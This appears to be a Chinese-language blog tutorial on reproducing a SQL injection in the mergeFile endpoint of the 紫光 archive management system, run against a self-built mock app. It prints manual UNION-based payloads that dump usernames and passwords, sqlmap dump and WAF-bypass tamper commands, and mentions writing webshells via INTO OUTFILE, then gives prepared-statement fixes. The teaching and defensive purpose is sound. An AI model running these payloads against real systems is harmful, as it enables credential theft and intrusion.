1. 项目概述与背景最近在梳理一些历史遗留系统的安全风险时紫光档案管理系统的一个老漏洞进入了我的视线。这个漏洞出现在一个名为mergeFile的功能接口中是一个典型的SQL注入漏洞。虽然这个漏洞可能已经过去了一段时间相关的补丁或许早已发布但复现和分析这类漏洞的价值从未减弱。对于安全从业者、渗透测试人员甚至是开发人员来说通过亲手复现我们能更深刻地理解漏洞产生的根源、利用的手法以及最关键的——如何在自己的代码中避免重蹈覆辙。今天我就带大家完整走一遍这个漏洞的复现过程从环境搭建到漏洞利用再到原理分析和修复建议希望能给各位带来一些实实在在的收获。紫光档案管理系统作为一款曾经在不少企事业单位内部使用的文档管理软件其核心功能涉及大量敏感数据的存储与处理。mergeFile这个功能点从字面理解是“合并文件”通常在处理档案归档、文件批量操作时会被调用。问题就出在这个功能在处理前端传入的参数时没有进行有效的安全过滤和校验直接将用户可控的数据拼接进了SQL查询语句中从而为攻击者打开了一扇门。通过这扇门攻击者可以执行任意的SQL命令轻则窃取、篡改档案数据重则可能获取服务器控制权后果非常严重。接下来我们就进入实战环节。2. 漏洞复现环境准备2.1 目标系统搭建复现漏洞的第一步是搭建一个与漏洞存在版本一致的目标环境。由于紫光档案管理系统是商业软件我们无法直接获取其安装包。在安全研究和教学领域我们通常采用以下几种合规方式从官方渠道获取历史版本如果拥有合法的测试授权可以向厂商申请用于安全测试的特定版本。使用公开的漏洞靶场或环境一些安全社区或教育平台会提供封装好的漏洞环境例如基于Docker专门用于合法安全研究。基于公开漏洞描述自建模拟环境这是最常见也是最能锻炼技术的方式。我们可以根据漏洞公告如CNVD、CNNVD上的描述中对漏洞触发点、参数、数据库结构的分析自己编写一个存在同样逻辑缺陷的简化版Web应用。为了本次复现我选择第三种方式。我根据公开的漏洞信息模拟了一个具有mergeFile功能的简单JSPJava Server Pages应用它使用MySQL作为后端数据库。这样既能清晰地展示漏洞原理又完全合法合规。环境清单操作系统Windows 10 / Linux (Ubuntu 20.04) 均可。Web服务器Apache Tomcat 9.0.x。Tomcat是运行JSP应用的标准容器。数据库MySQL 5.7。版本选择主流稳定版即可。JDKJava SE 8 或 11。需要与Tomcat版本兼容。模拟应用一个自写的vuln-app.war包部署到Tomcat的webapps目录下。注意请务必在隔离的虚拟机或专属测试网络中搭建此环境切勿在任何连接公网或存有真实数据的机器上操作。所有研究行为应仅限于学习目的并遵守法律法规。2.2 关键工具安装与配置工欲善其事必先利其器。除了基础环境我们还需要一些专业工具来辅助我们发现和利用漏洞。浏览器与开发者工具任何现代浏览器Chrome、Firefox都自带开发者工具F12。我们将频繁使用其中的“网络Network”标签来查看HTTP请求和响应使用“控制台Console”执行简单的JavaScript调试。Burp Suite Community/Professional这是Web安全测试的“瑞士军刀”。我们将用它来拦截、修改和重放HTTP请求这是手工测试SQL注入的核心步骤。社区版对于本次复现已经足够。确保你的浏览器代理设置正确指向Burp默认为127.0.0.1:8080并安装好Burp的CA证书以便拦截HTTPS流量。SQLMap一款开源的自动化SQL注入检测与利用工具。在手工验证漏洞存在后我们可以使用SQLMap来进一步自动化挖掘数据验证漏洞的严重性。它能够自动识别数据库类型、获取数据库名、表名、列名并最终导出数据。数据库管理工具如MySQL Workbench或HeidiSQL用于直观地查看我们模拟应用数据库中的内容验证注入结果。环境检查点搭建完成后请确保能通过http://your-ip:8080/vuln-app访问到模拟应用的登录或首页并且Burp Suite能正常拦截到浏览器的流量。3. 漏洞原理深度解析在动手之前我们必须搞清楚这个漏洞到底是怎么产生的。这有助于我们在复现时有的放矢也能在未来代码审计中快速识别同类问题。3.1mergeFile功能点逻辑推测根据漏洞名称和常见业务逻辑我们可以合理推测mergeFile接口的大致功能用户在前端选择多个档案文件可能通过文件ID列表请求后端将这些文件的元数据或物理存储路径进行某种关联或整合。后端接口可能接收一个包含多个文件ID的参数例如fileIds。一个存在漏洞的代码实现可能如下伪代码// 伪代码展示危险写法 String fileIdList request.getParameter(fileIds); // 直接从用户请求获取参数 String sql SELECT file_path, file_name FROM archive_files WHERE file_id IN ( fileIdList ) ORDER BY create_time; Statement stmt connection.createStatement(); ResultSet rs stmt.executeQuery(sql); // 直接拼接执行 // ... 后续处理结果合并文件 ...漏洞根因代码直接将用户输入的fileIds参数未经任何处理拼接到了SQL查询语句的IN子句中。如果fileIds参数是“1,2,3”那么SQL语句是正常的。但如果攻击者传入“1) OR 11 -- ”呢拼接后的SQL语句将变为SELECT file_path, file_name FROM archive_files WHERE file_id IN (1) OR 11 -- ) ORDER BY create_time--在大多数数据库中是行注释符它会使后面的)被注释掉。于是这个查询的条件变成了WHERE file_id IN (1) OR 11。由于11永远为真这条语句很可能返回archive_files表中的所有记录而不仅仅是ID为1的文件。这就构成了一个最基本的SQL注入。3.2 SQL注入类型判断从利用方式看这个漏洞很可能是一个基于错误回显的联合查询Union-based注入或布尔盲注Boolean-based Blind Injection。具体取决于应用程序对数据库错误和查询结果的处理方式。错误回显注入如果应用程序将数据库的错误信息直接返回给前端例如在页面上显示“SQL语法错误”那么攻击者可以通过构造报错语句来快速获取数据库结构信息。布尔盲注如果应用程序屏蔽了具体错误只返回“成功”或“失败”的通用页面攻击者则需要通过构造真/假条件根据页面返回内容的差异如返回数据不同、响应时间微秒级差异等来逐位推断数据。IN子句后的注入点通常便于构造布尔条件。3.3 漏洞利用潜在危害成功利用此漏洞攻击者可以数据泄露获取档案管理系统中的所有文件列表、用户信息、权限数据等敏感信息。数据篡改修改、删除档案记录破坏业务数据的完整性。权限提升结合数据库特性如MySQL的INTO OUTFILE尝试向服务器写入Webshell从而获取服务器控制权。进一步内网渗透如果数据库以高权限运行攻击者可能利用数据库扩展功能执行系统命令作为跳板攻击内网其他机器。4. 手工复现与漏洞验证现在我们开始手工复现这是理解漏洞最直接的方式。我假设我们的模拟应用访问地址是http://192.168.1.100:8080/vuln-app/mergeFile.jsp。4.1 信息收集与注入点探测首先我们需要找到触发mergeFile功能的入口。这可能是一个表单、一个AJAX请求或者一个带有参数的URL。使用浏览器开发者工具的“网络”面板观察点击“合并文件”按钮时发出的请求。假设我们捕获到如下请求POST /vuln-app/mergeFile.do HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: application/x-www-form-urlencoded fileIds1,2,3actionmerge我们看到参数fileIds被以1,2,3的形式传递给后端。这就是我们的潜在注入点。第一步验证注入点我们将fileIds参数修改为1。正常情况应该只返回ID为1的文件信息。然后我们尝试经典的探测payloadPayload 1:1 AND 11Payload 2:1 AND 12将请求发送到Burp Suite的Repeater模块方便修改重放。发送fileIds1 AND 11。如果页面正常返回可能与fileIds1相同说明AND 11这个真条件被数据库执行了。发送fileIds1 AND 12。如果页面返回空、错误或与之前明显不同例如“未找到文件”说明AND 12这个假条件影响了查询结果。如果两者返回结果有差异那么几乎可以断定此处存在SQL注入漏洞。因为11永真12永假它们改变了SQL查询的逻辑。第二步判断字段数与数据库类型为了进行联合查询UNION SELECT我们需要知道当前查询语句返回的字段数量。通常使用ORDER BY子句来探测。发送fileIds1 ORDER BY 1--。页面正常。发送fileIds1 ORDER BY 2--。页面正常。发送fileIds1 ORDER BY 3--。页面正常。发送fileIds1 ORDER BY 4--。页面返回错误。 这说明原查询返回了3个字段。--是注释符用于注释掉原SQL语句中IN子句后面的内容确保语法正确。接下来用联合查询探测数据库类型和版本。Payload:fileIds-1 UNION SELECT 1, version(), 3--将fileIds设为-1确保原查询不返回结果这样页面显示的就是我们UNION查询的结果。version()是MySQL的函数。如果页面某处显示了MySQL的版本号如5.7.39则证明是MySQL数据库。如果是version则可能是MSSQL。4.2 利用联合查询获取数据确认字段数和数据库类型后我们就可以系统性地获取数据了。联合查询的字段位置需要与我们探测的数量匹配。获取当前数据库名 Payload:fileIds-1 UNION SELECT 1, database(), 3--假设返回数据库名为archive_db。获取数据库中的所有表名 Payload:fileIds-1 UNION SELECT 1, group_concat(table_name), 3 FROM information_schema.tables WHERE table_schemadatabase()--information_schema.tables是MySQL的系统表存储了所有表的信息。group_concat()函数将多行结果合并成一个字符串。执行后我们可能得到类似users, files, departments, logs的结果。获取关键表如users的字段名 Payload:fileIds-1 UNION SELECT 1, group_concat(column_name), 3 FROM information_schema.columns WHERE table_schemadatabase() AND table_nameusers--假设返回id, username, password, email, role。导出敏感数据 Payload:fileIds-1 UNION SELECT 1, concat(username, :, password), 3 FROM users--这个payload会将users表中的用户名和密码以username:password的格式拼接并显示出来。至此我们已经成功通过手工注入获取了系统的核心敏感数据。实操心得在实际测试中可能会遇到单引号被过滤或转义的情况。这时需要尝试绕过例如使用十六进制编码0x7573657273表示users或使用字符串连接函数MySQL中CONCAT(us,ers)。这也是手工注入比纯工具自动化更能锻炼思维的地方。5. 使用SQLMap进行自动化验证与利用手工注入能让我们理解每一步的原理但在效率上工具更有优势。我们可以用SQLMap来验证漏洞并自动化完成数据提取。5.1 基本扫描与确认首先将含有fileIds参数的请求保存到一个文本文件中例如request.txt。POST /vuln-app/mergeFile.do HTTP/1.1 Host: 192.168.1.100:8080 Content-Type: application/x-www-form-urlencoded fileIds1,2,3actionmerge然后使用SQLMap进行扫描sqlmap -r request.txt -p fileIds --batch-r request.txt: 从文件加载HTTP请求。-p fileIds: 指定测试的参数为fileIds。--batch: 以非交互模式运行所有提示都选择默认选项。SQLMap会自动检测注入类型、数据库类型。如果发现漏洞它会给出确认信息。5.2 自动化信息收集与数据导出确认漏洞后我们可以使用SQLMap更高效地获取信息。获取当前数据库和用户sqlmap -r request.txt -p fileIds --current-db --current-user列出所有数据库sqlmap -r request.txt -p fileIds --dbs列出指定数据库如archive_db中的所有表sqlmap -r request.txt -p fileIds -D archive_db --tables列出指定表如users的所有字段sqlmap -r request.txt -p fileIds -D archive_db -T users --columns导出指定表的数据sqlmap -r request.txt -p fileIds -D archive_db -T users --dump--dump命令会将该表的所有数据导出到本地CSV文件中。5.3 SQLMap高级参数与绕过技巧在实际的漏洞利用中目标网站可能部署了WAFWeb应用防火墙或简单的过滤规则。SQLMap提供了一些参数来尝试绕过。随机User-Agent和延迟--random-agent --delay1设置请求间延迟1秒避免触发频率限制。使用代理--proxyhttp://127.0.0.1:8080可以通过Burp Suite观察SQLMap发送的payload便于学习。绕过技术Tamper脚本SQLMap自带很多tamper脚本用于对payload进行编码、混淆。sqlmap -r request.txt -p fileIds --tamperspace2comment,charencode这个命令会尝试使用空格转注释、字符编码等技巧来绕过过滤。注意事项虽然SQLMap很强大但切忌在未经授权的目标上使用。即使在授权测试中--dump这类数据导出操作也可能对生产数据库造成性能压力最好在测试环境进行。另外SQLMap的某些payload如文件读写、命令执行攻击性很强使用前务必明确测试范围。6. 漏洞修复方案与安全编码实践复现漏洞的最终目的是为了修复和预防。针对这个mergeFileSQL注入漏洞修复的核心原则是永远不要信任用户输入避免将用户输入直接拼接到SQL语句中。6.1 根本解决方案使用预编译语句Prepared Statements这是防止SQL注入最有效、最推荐的方法。以Java JDBC为例修复后的代码应该如下// 修复后的安全代码 String fileIdList request.getParameter(fileIds); // 假设 fileIds 是以逗号分隔的字符串如 1,2,3 String[] idArray fileIdList.split(,); // 构建参数化的SQL语句使用占位符 ? StringBuilder sqlBuilder new StringBuilder(SELECT file_path, file_name FROM archive_files WHERE file_id IN (); for (int i 0; i idArray.length; i) { sqlBuilder.append(?); if (i ! idArray.length - 1) { sqlBuilder.append(,); } } sqlBuilder.append() ORDER BY create_time); String sql sqlBuilder.toString(); PreparedStatement pstmt connection.prepareStatement(sql); // 为每个占位符设置参数值 for (int i 0; i idArray.length; i) { // 这里可以增加额外的校验例如确保id是数字 try { int fileId Integer.parseInt(idArray[i].trim()); pstmt.setInt(i 1, fileId); // 参数索引从1开始 } catch (NumberFormatException e) { // 处理非法输入例如记录日志并返回错误 throw new IllegalArgumentException(Invalid file ID format); } } ResultSet rs pstmt.executeQuery(); // 安全地执行查询 // ... 后续处理 ...原理预编译语句将SQL语句的逻辑结构命令、表名、条件子句与数据参数值在发送到数据库前就分离开了。数据库先编译SQL结构再将后续传入的参数仅仅当作“数据”来处理即使参数中包含SQL关键字如UNION,SELECT,--也会被当作普通的字符串值而不会被解释为SQL指令。6.2 输入验证与过滤辅助手段虽然预编译语句是首选但严格的输入验证作为一道前置防线也至关重要。白名单验证对于fileIds这种理论上应为数字列表的参数可以使用正则表达式进行严格校验。if (!fileIdList.matches(^\\d(,\\d)*$)) { // 只允许数字和逗号 // 拒绝请求记录日志 return; }类型强制转换尽早将字符串参数转换为目标类型如Integer, Long转换失败即说明输入非法。长度限制对输入字符串长度设置合理上限。6.3 其他防御措施最小权限原则为Web应用连接数据库的账户分配最小必要的权限。通常只授予SELECT、UPDATE等业务必需权限禁止DROP、FILE、EXECUTE等高危权限。这样即使发生注入危害也能被限制。错误信息处理自定义统一的错误页面避免将详细的数据库错误信息如堆栈跟踪直接返回给前端用户。这可以增加攻击者进行盲注的难度。Web应用防火墙WAF部署WAF可以在网络层面拦截常见的SQL注入攻击特征。但WAF是缓解措施不能替代安全的代码。定期安全审计与漏洞扫描对代码进行定期的安全审计SAST并对运行的系统进行定期的漏洞扫描DAST以及时发现和修复潜在问题。7. 复现过程中的常见问题与排查在复现过程中你可能会遇到一些问题。这里我总结了一些常见的情况和解决思路。问题现象可能原因排查与解决思路手工注入时无论输入什么页面都返回相同的错误或空白。1. 注入点判断错误参数并非直接用于SQL查询。2. 参数被后端进行了严格的过滤或转义。3. 存在WAF拦截了恶意payload。1. 用Burp Suite多测试几个看似可疑的参数。2. 尝试使用更简单的探测payload如单引号‘观察是否返回数据库错误。3. 在Burp中查看原始响应看是否有WAF的拦截标识如403 Forbidden 或包含security,blocked等字样的HTML。4. 尝试使用SQLMap的--level和--risk提高测试等级或使用--tamper脚本绕过。SQLMap扫描结果显示“未检测到注入”。1. 目标点确实不存在SQL注入。2. 请求格式不正确如Cookie、Token缺失。3. 存在动态反爬或CSRF令牌机制。4. 注入类型较为特殊如时间盲注需要指定参数。1. 确认手工探测步骤是否发现了真/假条件返回差异。2. 确保-r加载的请求文件是最新、完整的包含所有必要的Session Cookie。3. 尝试使用--csrf-token和--csrf-url参数处理CSRF令牌。4. 尝试指定注入技术如--techniqueT测试时间盲注。联合查询时页面显示的数据位置不对或格式混乱。1. 字段数判断不准确。2. 原查询返回的字段数据类型与UNION查询的字段类型不匹配。1. 重新用ORDER BY精确判断字段数直到页面报错的前一个数字。2. 在UNION SELECT中尝试将字段设为NULL或不同的数据类型如1数字‘a’字符串version系统变量观察页面显示变化找到合适的显示位。使用INTO OUTFILE写文件失败。1. 数据库用户没有FILE权限。2.secure_file_priv系统变量限制了文件导出路径。1. 通过UNION SELECT 1, user(), 3查看当前数据库用户并评估其权限。2. 查询SHOW VARIABLES LIKE ‘secure_file_priv’;。如果值为NULL则禁止导出如果为路径则只能导出到该路径下。个人踩坑记录在一次内部测试中我遇到一个类似接口手工测试有明确回显差异但SQLMap就是扫不出来。后来发现是参数名在传输过程中被前端JavaScript动态修改了Burp截获的是修改后的参数名。解决办法是在Burp的Repeater中手动将参数名改回原始名称通过查看未压缩的JS源码找到SQLMap才成功识别。这提醒我们工具不是万能的理解HTTP请求的每一个细节至关重要。8. 漏洞复现的延伸思考与防御演练完成一次漏洞复现不应该仅仅是“跑通”流程。更重要的是通过这个案例我们能沉淀下什么。对于安全测试人员思维拓展这个漏洞利用的是IN子句。类似的ORDER BY、LIMIT、WHERE子句中的字段名/排序字段如果直接拼接同样存在风险。你的测试用例库应该覆盖这些场景。工具链整合可以将手工探测的初步结果如参数、疑似注入类型与SQLMap联动或者编写自己的小脚本实现半自动化测试提升效率。报告撰写复现完成后应能形成一份清晰的漏洞报告。报告应包括漏洞位置URL、参数、漏洞类型SQL注入、风险等级高、详细复现步骤请求/响应截图、漏洞原理分析、以及具体的修复建议提供修复代码样例。清晰的报告是推动开发团队修复的关键。对于开发人员代码审计自查立即检查自己项目中和数据库交互的所有代码特别是那些使用字符串拼接 (,concat) 来构建SQL语句的地方。全部替换为预编译语句PreparedStatement或ORM框架的安全查询方法。理解框架安全机制如果你在使用MyBatis、Hibernate、JPA等ORM框架要明白它们如何防止SQL注入。例如MyBatis中应使用#{}占位符而非${}拼接Hibernate应使用参数化查询createQuerywith parameters而非字符串拼接。安全培训将此类案例作为团队内部安全培训的素材提升全员的安全编码意识。漏洞复现就像一次“外科手术”解剖一个已知的病例目的是为了未来能预防和治疗更多未知的疾病。通过这次对紫光档案管理系统mergeFileSQL注入漏洞的深入复现我希望大家不仅掌握了一个漏洞的利用方法更能建立起“数据即代码输入皆可疑”的安全思维模式。在平时开发中多问一句“这个参数用户可控吗我直接拼到SQL里安全吗”就能避免绝大多数此类漏洞。